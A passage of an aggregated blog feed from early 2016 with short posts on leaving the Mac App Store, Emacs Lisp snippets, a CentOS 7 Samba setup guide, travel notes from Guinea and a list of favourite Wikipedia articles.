&lt;p&gt;I have been careful to keep backups of the &lt;code&gt;.app&lt;/code&gt;’s.  Apple dropped the ability to re-download App's removed from the App store.&lt;/p&gt;
&lt;p&gt;This gives way too much power over my work to third parties. Software I paid for should not stop working because someone else stopped supporting it.  How can someone build a reliable work-flow when any program stop working at any time? You can't, that’s simply insanity.&lt;/p&gt;
&lt;p&gt;One of the apps I used daily, the author &lt;a href="https://sophiestication.com/sevenyears/"&gt;took down&lt;/a&gt; a few years ago because it “flopped and [was] plagued with technical issues”. I have encountered no technical issues with it until this point, and it an important part of my work-flow.&lt;/p&gt;
&lt;p&gt;I, as well as others have asked the author to open source it on many occasions. &lt;a href="https://twitter.com/donatj/status/459357498462326784"&gt;[1]&lt;/a&gt;, &lt;a href="https://twitter.com/donatj/status/560141498478383104"&gt;[2]&lt;/a&gt;, &lt;a href="https://twitter.com/donatj/status/565658296087248896"&gt;[3]&lt;/a&gt;, &lt;a href="https://twitter.com/donatj/status/613455514563801088"&gt;[4]&lt;/a&gt; … &lt;small&gt;There’s more&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;Her only response to our cries has been a cringe-worthy &lt;code&gt;LOL&lt;/code&gt;. I wish I were joking.&lt;/p&gt;
&lt;p&gt;The moral of my story comes down to the following life lessons.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Don’t depend on things that others can take from you. &lt;/li&gt;
&lt;li&gt;Be able to scratch your own itch; seek open source when at all possible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I will no longer be purchasing things from the Mac App Store. The convenience is not worth the incredible down sides.&lt;/p&gt;
&lt;p&gt;Richard Stallman has been warning us for years, I should have listened.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Fri, 04 Mar 2016 07:44:46 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/IAmDoneWithTheAppStore</guid></item><item><title>A new blog for fast command line hacks</title><link>https://ericonotes.blogspot.com/2016/03/a-new-blog-for-fast-command-line-hacks.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFI1T0iNj7K_SljL24CYTjFr3AaevPpn3vgXjbgk_iMKYycPtWOGhVGA1Xi_I9hpQVku1CVxVx1R91O4W96GU2HsfqREbW-AW4Cit5cP3VgMBsH1m8PX00Scz1BiFVsfHr9SVaHCtJJ1f5/s1600/commandlinericobg.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFI1T0iNj7K_SljL24CYTjFr3AaevPpn3vgXjbgk_iMKYycPtWOGhVGA1Xi_I9hpQVku1CVxVx1R91O4W96GU2HsfqREbW-AW4Cit5cP3VgMBsH1m8PX00Scz1BiFVsfHr9SVaHCtJJ1f5/s640/commandlinericobg.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
So I plan to post here and update on what I've been doing. But since I don't really have the time, today I'm just going to link to a small side project!&lt;br /&gt;
&lt;br /&gt;
This side project is &lt;a href="http://ericoporto.github.io/bashblog/"&gt;Command Line Erico&lt;/a&gt;, a small blog, to which I post through a bash script to Github Pages. This script is a fork of the bash script from Carlos Fenollosa, available &lt;a href="https://github.com/cfenollosa/bashblog"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The idea of this blog came from giving a use for my old Asus EEEPC 701 4G as a distraction free production environment. Since it's too slow to do much bells and whistles stuff, I've been using it as a way to work on small projects. Because it's silent, small and robust, it's also something I can carry on.&lt;br /&gt;
&lt;br /&gt;
So since every once in a while I do some stuff with very simple command line commands, I'm planning on documenting the results on there. That pc also makes as a very good way to access and manage a Raspberry Pi remotely, so stay put for some Raspberry Pi tips appearing there. The only con I've found on using it to blog so far is not having spell check, and since English is not my first language, expect grammatical aberrations.</description><author>Erico Notes</author><pubDate>Fri, 04 Mar 2016 02:30:38 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2016/03/a-new-blog-for-fast-command-line-hacks.html</guid></item><item><title>CoderDojo interview at Channel 9</title><link>https://nicolaiarocci.com/my-coderdojo-interview-at-chennel-9-techeroes/</link><description>&lt;p&gt;I was recently interviewed at Channel 9 TecHeroes. Topic was CoderDojo, the network of free computer programming clubs for young people. The show is run by Microsoft Italy, so the interview is in Italian. &lt;a href="https://channel9.msdn.com/Shows/TecHeroes/TecHeroes-CoderDojo-Coding-Club-for-Kids"&gt;Enjoy the show&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 04 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/my-coderdojo-interview-at-chennel-9-techeroes/</guid></item><item><title>Links - March 4th, 2016</title><link>https://faingezicht.com/links/2016/03/04/links/</link><description>Today I am posting from Indianapolis! I am spending the weekend here with Hannah's family, and I got a lot of reading done on the flight here, so the article selection today is better than usual.</description><author>Avy Faingezicht</author><pubDate>Fri, 04 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/04/links/</guid></item><item><title>[Computing] Why I will never use Windows 8 or Windows 10</title><link>https://www.devever.net/~hl/windows8</link><description>&lt;p&gt;I still use Windows 7 to the extent that I use Windows. When Microsoft released
Windows 8, a major change to the OS was the introduction of Metro-style
applications. With this change, they also introduced a code signing requirement
for such applications. This restriction saw surprisingly little reporting; the
Secure Boot panic probably distracted a lot of attention, and the fact that
barely anybody actually wants to use Metro applications probably helped.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Fri, 04 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/windows8</guid></item><item><title>Amounts 2.1 – Now Available for Free!</title><link>https://swiftfox.co/2016/03/amounts-2-1-now-available-for-free/</link><description>&lt;p&gt;A small update to Amounts came out this week that is making the base app now available for free! All existing users will keep their upgraded features, but now you will be able to try the app before you buy, and the pro upgrade is available as an in-app purchase. I&amp;#8217;m now looking into some...  &lt;a class="excerpt-read-more" href="https://swiftfox.co/2016/03/amounts-2-1-now-available-for-free/" title="ReadAmounts 2.1 &amp;#8211; Now Available for Free!"&gt;Read more &amp;#187;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://swiftfox.co/2016/03/amounts-2-1-now-available-for-free/"&gt;Amounts 2.1 – Now Available for Free!&lt;/a&gt; first appeared on &lt;a href="https://swiftfox.co"&gt;Swift Fox Software LLC&lt;/a&gt;.&lt;/p&gt;</description><author>Swift Fox Software LLC</author><pubDate>Thu, 03 Mar 2016 16:47:36 GMT</pubDate><guid isPermaLink="true">https://swiftfox.co/2016/03/amounts-2-1-now-available-for-free/</guid></item><item><title>Links - March 3rd, 2016</title><link>https://faingezicht.com/links/2016/03/03/links/</link><description/><author>Avy Faingezicht</author><pubDate>Thu, 03 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/03/links/</guid></item><item><title>Emacs lisp snippets</title><link>https://xenodium.com/emacs-lisp-snippets</link><description>&lt;h2&gt;cl-loop for in&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(cl-loop for day in '(&amp;quot;mon&amp;quot; &amp;quot;tue&amp;quot; &amp;quot;wed&amp;quot; &amp;quot;thu&amp;quot; &amp;quot;fri&amp;quot; &amp;quot;sat&amp;quot; &amp;quot;sun&amp;quot;)
         do (print day))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;cl-loop for from to&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(cl-loop for x from 1 to 5
         do (print x))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;pcase literal matching&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(pcase &amp;quot;word&amp;quot;
  ('word (message &amp;quot;Matched 'word symbol&amp;quot;))
  (&amp;quot;word&amp;quot; (message &amp;quot;Matched \&amp;quot;word\&amp;quot; string&amp;quot;)))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Avoid nesting with the help of thread-first and thread-last.&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(thread-last &amp;quot;12.....34&amp;quot;
  (string-remove-prefix &amp;quot;1&amp;quot;)
  (string-remove-suffix &amp;quot;4&amp;quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Find file upwards, up parents, up hierarchy&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(locate-dominating-file FILE NAME)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Find executable in PATH&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(executable-find COMMAND)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Read string with completion (helm/ido/ivy friendly)&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(completing-read PROMPT COLLECTION &amp;amp;optional PREDICATE REQUIRE-MATCH INITIAL-INPUT HIST DEF INHERIT-INPUT-METHOD)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Execute command/process and return list (similar to shell-command-to-string)&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(process-lines PROGRAM &amp;amp;rest ARGS)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Iterating org buffer&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(org-element-map (org-element-parse-buffer) '(headline link)
  (lambda (element)
    (cond
     ((and (eq (org-element-type element) 'headline)
           (= (org-element-property :level element) 1))
      (print &amp;quot;headline&amp;quot;))
     ((eq (org-element-type element) 'link)
      (print &amp;quot;link&amp;quot;)))
    nil))
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 02 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-lisp-snippets</guid></item><item><title>Links - March 2nd, 2016</title><link>https://faingezicht.com/links/2016/03/02/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 02 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/02/links/</guid></item><item><title>Hikes</title><link>https://faingezicht.com/photos/2016/03/02/hikes/</link><description>An old collection of walks around Muir Woods, Mt. Tamalpais and Alcatraz.</description><author>Avy Faingezicht</author><pubDate>Wed, 02 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/03/02/hikes/</guid></item><item><title>[Computing] Psychological effects of coding style</title><link>https://www.devever.net/~hl/codingstylepsych</link><description>&lt;p&gt;One of the weird things about adopting a coding style is its psychological
impact. I can't describe how significant that impact is. In some ways, it's
about creating your own language within a language and coming to feel familiar
in it. In some ways, it's having enough trust in your own consistent use of
the style that you trust the information conveyed by that style completely
when reading and reasoning about code.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Wed, 02 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/codingstylepsych</guid></item><item><title>The Sea Retains Such Images</title><link>https://june.kim/the-sea-retains-such-images/</link><author>june.kim</author><pubDate>Tue, 01 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/the-sea-retains-such-images/</guid></item><item><title>Links - March 1st, 2016</title><link>https://faingezicht.com/links/2016/03/01/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 01 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/01/links/</guid></item><item><title>Glen Canyon</title><link>https://faingezicht.com/photos/2016/03/01/glen-canyon/</link><description>As you know, I am reading Gary Kamiya's &lt;a href="http://www.amazon.com/Cool-Gray-City-Love-Francisco/dp/1608199606"&gt;Cool City of Gray Love&lt;/a&gt;, which talks about all sorts of amazing places in the city. One of the first few he describes, in chapter 6, was Glen Canyon:

&gt; ... not only the most peculiar geographical anomaly in San Francisco -a concave feature in a convex city- it is also the least known. In any other city, a deep, wild, rocky canyon with a creek flowing through it, in almost the exact geographical center of town, would be celebrated far and wide. But even most San Franciscans have never set foot in Glen Canyon. In a city of Mystery Hills, it is the Mystery Gorge. Glen Canyon is literally a tear in the city's fabric.
&gt;
&gt;-Gary Kamiya, Cool City of Gray Love

I am happy to say, I have set foot in it.</description><author>Avy Faingezicht</author><pubDate>Tue, 01 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/03/01/glen-canyon/</guid></item><item><title>Setting up Samba home folder shares for a CentOS 7 server</title><link>https://jonathanchang.org/blog/setting-up-samba-home-folder-shares-for-a-centos-7-server/</link><description>&lt;p&gt;CentOS 7 has made life so much easier compared to the &lt;a href="/blog/setting-up-samba-home-folder-shares-for-a-centos-6-server-and-mac-os-x-client"&gt;last time&lt;/a&gt;. All of the following commands need to be run as the superuser.&lt;/p&gt;
  &lt;div class="language-bash highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;yum &lt;span class="nb"&gt;install &lt;/span&gt;samba samba-client samba-common
systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;smb
systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;nmb
setsebool &lt;span class="nt"&gt;-P&lt;/span&gt; samba_enable_home_dirs on
firewall-cmd &lt;span class="nt"&gt;--permanent&lt;/span&gt; &lt;span class="nt"&gt;--zone&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;public &lt;span class="nt"&gt;--add-service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;samba
firewall-cmd &lt;span class="nt"&gt;--reload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;You might also need to set your Samba password depending on how your system is setup. Thus,&lt;/p&gt;
  &lt;div class="language-bash highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;smbpasswd &lt;span class="nt"&gt;-a&lt;/span&gt; YOUR_USER_NAME
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;If you have symlinks in your home directory to other bits of the system you will also need to edit &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt;. In the &lt;code&gt;[homes]&lt;/code&gt; section, add:&lt;/p&gt;
  &lt;div class="language-conf highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;follow&lt;/span&gt; &lt;span class="n"&gt;symlinks&lt;/span&gt; = &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;wide&lt;/span&gt; &lt;span class="n"&gt;links&lt;/span&gt; = &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Then, in the &lt;code&gt;[global]&lt;/code&gt; section, add:&lt;/p&gt;
  &lt;div class="language-conf highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;unix&lt;/span&gt; &lt;span class="n"&gt;extensions&lt;/span&gt; = &lt;span class="n"&gt;no&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;</description><author>Jonathan Chang</author><pubDate>Mon, 29 Feb 2016 23:53:39 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/setting-up-samba-home-folder-shares-for-a-centos-7-server/</guid></item><item><title>On shades</title><link>https://rybakov.com/blog/dictator/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/military.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Der Anblick von Guinäer in Militäruniformen oder mit Sonnenbrillen erzeugt bei mir ein ungutes Gefühl in der Magengegend. Zum Teil durch die Bilder der Berichterstattung aus Afrika verursacht, zum Teil aus der Erinnerung an meine erste Reise. Da wollte ich mal ein Bild von der Straße machen, und ein paar entlang spazierende Militärs haben es gesehen. Natürlich wollten sie die Kamera konfiszieren, weil es ja illegal ist, Militäreinrichtungen und Soldaten abzulichten. Ich hab mich in der NGO verschanzt und ließ die eloquenten Wächter die Lage klären.&lt;/p&gt;
&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/militarycrop.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Da, da sehen sie mich!&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Mon, 29 Feb 2016 22:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/dictator/</guid></item><item><title>Mbo</title><link>https://rybakov.com/blog/mbo/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="alcin" loop="true" poster="/video/alcin/alcin.jpg"&gt;
      &lt;source src="../video/alcin/alcin.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="alcinbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="alcinpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Alassan (links) und Alcin. Auch Mbo genannt, weil niemand sie auseinander halten kann. Sehr ernste Leute.&lt;br /&gt;
Am dritten Tag kam Alassan nicht zu den Übungen, da er mit 40° Fieber im Bett lag. Im Krankenhaus steckten benutzte Nadeln aus dem Bett, und so hat Christoph ihn einfach mit Antibiotika gefüttert, und mit Käsebrot, und dann ging es schon.&lt;br /&gt;
Den Alcin musste ich beim feierlichen Drehabschluss aus dem Pool ziehen, als er in der Mitte von dem Pool nicht von der Stelle kam, und auch den Boden nicht erreichte.&lt;br /&gt;
Seitdem kümmerte er sich um mich, wie um einen kleinen, etwas dümmlichen Bruder - schnürte mir die Schuhe richtig zu beim Fußballspielen, wischte mir den Dreck aus dem Gesicht nach einem misslungenem Kopfballversuch und erklärte geduldig die Lage, wenn ich mal mit meinem Französisch nicht vorankam.&lt;/p&gt;
&lt;p&gt;Also, ich glaube, das war Alcin. Mbo eben.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Mon, 29 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/mbo/</guid></item><item><title>Links - February 29th, 2016</title><link>https://faingezicht.com/links/2016/02/29/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 29 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/02/29/links/</guid></item><item><title>Doubleplusgood Wikipedia</title><link>https://nutcroft.mataroa.blog/blog/doubleplusgood-wikipedia/</link><description>&lt;p&gt;The Wikipedia project is most admirable. It is a single point of reference for a colossal amount of topics. Had someone access only to Wikipedia and not the rest of the internet, they would still have access to an unprecedented knowledge repository, never witnessed before in human history.&lt;/p&gt;
&lt;p&gt;The answer to how did we get here is also amazing: crowdsourcing. The vision was that anyone could contribute to the initial empty Wikipedia and gradually it would become better than Encyclopædia Britannica. Should someone describe a similar concept today, they would have been laughed off. It would have been dismissed as impossible and the human nature would have been invoked as an argument. However, it was marvelously pulled off.&lt;/p&gt;
&lt;p&gt;So, after all these years reading Wikipedia every day I collected some of my favorite entries.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Benford%27s_law"&gt;Benford's law&lt;/a&gt;, also called the first-digit law. Haven't you noticed that there are more 1s than any other digit in the world?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Two_Generals%27_Problem"&gt;Two Generals' Problem&lt;/a&gt;. How can you trust that nothing has changed from the moment that you got the OK message?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Polyphasic_sleep"&gt;Polyphasic sleep&lt;/a&gt;. In the past, people used to take a break from their everynight sleep. By leveraging human habits someone could have more sleep sessions for less hours overall.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/List_of_common_misconceptions"&gt;List of common misconceptions&lt;/a&gt;. This is one of the most amazing lists of Wikipedia. Fascinating and stunning how much sciolism exists. For instance, no, waking sleepwalkers does not harm them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Supervenience"&gt;Supervenience&lt;/a&gt; is an ontological relation that is used to describe cases where the upper-level properties of a system are determined by its lower level properties. A notion, intuitively clear yet difficult to formalize.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Phantom_time_hypothesis"&gt;Phantom time hypothesis&lt;/a&gt;. How do we know that the historians of the past didn't want to prank their future readers and write about an era that did't exist except on their minds?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange"&gt;Diffie–Hellman key exchange&lt;/a&gt;. How can we decide on how can we communicate secretly if there is no channel where we are not overheard?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Kardashev_scale"&gt;Kardashev scale&lt;/a&gt;. A scale of civilization advancement on a technological level. Seems like a science fiction inspired idea though, since the base unit is quite high.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Streisand_effect"&gt;Streisand effect&lt;/a&gt;. Some of the fun consequences of the age of the internet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Sonoluminescence"&gt;Sonoluminescence&lt;/a&gt;. Can sound cause light?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Socratic_method"&gt;Socratic method&lt;/a&gt;. Socrates' guided technique of discovering and acquiring knowledge.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Fast_inverse_square_root"&gt;Fast inverse square root&lt;/a&gt;. Another fact from the tangled world of mathematics that causes you to question how something like this can exist!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Hapax_legomenon"&gt;Hapax legomenon&lt;/a&gt; is a word that occurs only once within a context, either in the written record of an entire language, in the works of an author, or in a single text.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Pythagorean_cup"&gt;Pythagorean cup&lt;/a&gt;. Greed punishing cup, done in a brilliant way.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Nils_Olav"&gt;Nils Olav&lt;/a&gt;. The Colonel-in-Chief of the Norwegian Royal Guard, a knighted sir. Also, not a human.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Turritopsis_dohrnii"&gt;Turritopsis dohrnii&lt;/a&gt;. A jellyfish proving that biological immortality is possible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Occam%27s_razor"&gt;Occam's razor&lt;/a&gt;: Among competing hypotheses, the one with the fewest assumptions should be selected.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Vacuum_airship"&gt;Vacuum airship&lt;/a&gt;. What if we created an airship, evacuate it, leave it airless and thus causing it to fly without using any fuel or other form of energy?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Row_hammer"&gt;Row hammer&lt;/a&gt; is an extraordinary, out of the box, quintessential hacking technique that teaches you to never forget the fundamentals of a system.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Normative_ethics"&gt;Normative ethics&lt;/a&gt;. An entry on what is right and wrong, the various theories and philosophic views.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Micromort"&gt;Micromort&lt;/a&gt; is a unit of risk measuring a one-in-a-million probability of death (from micro- and mortality).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/EURion_constellation"&gt;EURion constellation&lt;/a&gt;. Have you ever tried scanning banknotes? Me neither.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Seven_Basic_Plots"&gt;The Seven Basic Plots&lt;/a&gt;. A book with an interesting approach to story-telling.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Worse_is_better"&gt;Worse is better&lt;/a&gt;. The idea is that quality does not necessarily increase with functionality. It was first conceived to describe software, however, I believe that it has many more profound applications.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Cicada_3301"&gt;Cicada 3301&lt;/a&gt; is a name given to an enigmatic organization that on four occasions has posted a set of complex puzzles and alternate reality games to recruit codebreakers from the public.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Barnum_effect"&gt;Barnum effect&lt;/a&gt;. A scientific approach onto why people continue to read their horoscope reports.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Extreme_ironing"&gt;Extreme ironing&lt;/a&gt; is an extreme sport in which people iron with ironing boards to remote locations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Cool_S"&gt;Cool S&lt;/a&gt;, a pop culture signature/sketch you may know.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Moving_sofa_problem"&gt;Moving sofa problem&lt;/a&gt;. Pivot! Pivot! Pivot!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Trolley_problem"&gt;Trolley problem&lt;/a&gt; is a thought experiment in ethics, in which you hve to decide between doing something and killing few or do nothing and knowingly let something kill many.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Birthday_problem"&gt;Birthday problem&lt;/a&gt; is probability paradox. It claims that in a set of &lt;em&gt;n&lt;/em&gt; randomly chosen people, a suprisingly large amount of pairs of them will have the same birthday.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Printer_steganography"&gt;Printer steganography&lt;/a&gt; is a practice of printing barely visible yellow dots on the paper which is encoded information of printer serial numbers and timestamps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Heat_burst"&gt;Heat burst&lt;/a&gt;. Imagine, suddenly, at midnight, the temperature rising to 40°C.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Sunrise_equation"&gt;Sunrise equation&lt;/a&gt;. A mathematical way to learn the sunrise and sunset time of a place.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Wabi-sabi"&gt;Wabi-sabi&lt;/a&gt;. Japanese worldview on the acceptance of imperfection. An alternative "worse is better".&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/NATO_phonetic_alphabet"&gt;NATO phonetic alphabet&lt;/a&gt;. All these words soldiers talk in movies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/K%C3%B6ppen_climate_classification"&gt;Köppen climate classification&lt;/a&gt;. Detailed climate classification for all earthly places.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Manhattanhenge"&gt;Manhattanhenge&lt;/a&gt;. When the Manhattan grid lines up with the sun.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Zone_of_proximal_development"&gt;Zone of proximal development&lt;/a&gt; is the difference between what a learner can do without help, and what they can't do.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Bouba/kiki_effect"&gt;Bouba/kiki effect&lt;/a&gt;. How can sound be connected to shape?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Rhetorical_device"&gt;Rhetorical device&lt;/a&gt; is a technique that an author or speaker uses to convey to the listener or reader a meaning.&lt;/p&gt;
